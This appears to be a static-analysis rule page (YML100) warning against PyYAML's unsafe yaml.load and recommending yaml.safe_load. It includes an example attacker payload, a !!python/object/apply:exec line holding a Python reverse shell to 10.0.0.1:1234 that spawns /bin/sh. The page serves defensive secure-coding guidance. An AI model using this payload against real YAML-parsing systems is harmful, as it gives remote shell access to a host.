YML100

Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load().

The Pyyaml library’s default loader will read any YAML attributes starting with !! as special syntax, including the !!python/object/apply command, which can execute any method in the standard library.

Because the standard library includes functions to starting local processes, using yaml.load against this input would execute local commands on the host shell.

Deprecation in pyyaml 5.1

Wait, didn’t pyyaml deprecate the unsafe loader?

Not really- newer versions of pyyaml (5.1) will raise a warning, however many situations like web servers developers would not see this warning.

Example

import yaml
with open('cfg.yaml') as cfg:
    config = yaml.load(cfg)

Any attackers payload could look something like this:

!!python/object/apply:exec ['import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']

When deserialized, this would start a shell on TCP 10.0.0.1:1234.

Quick Fixes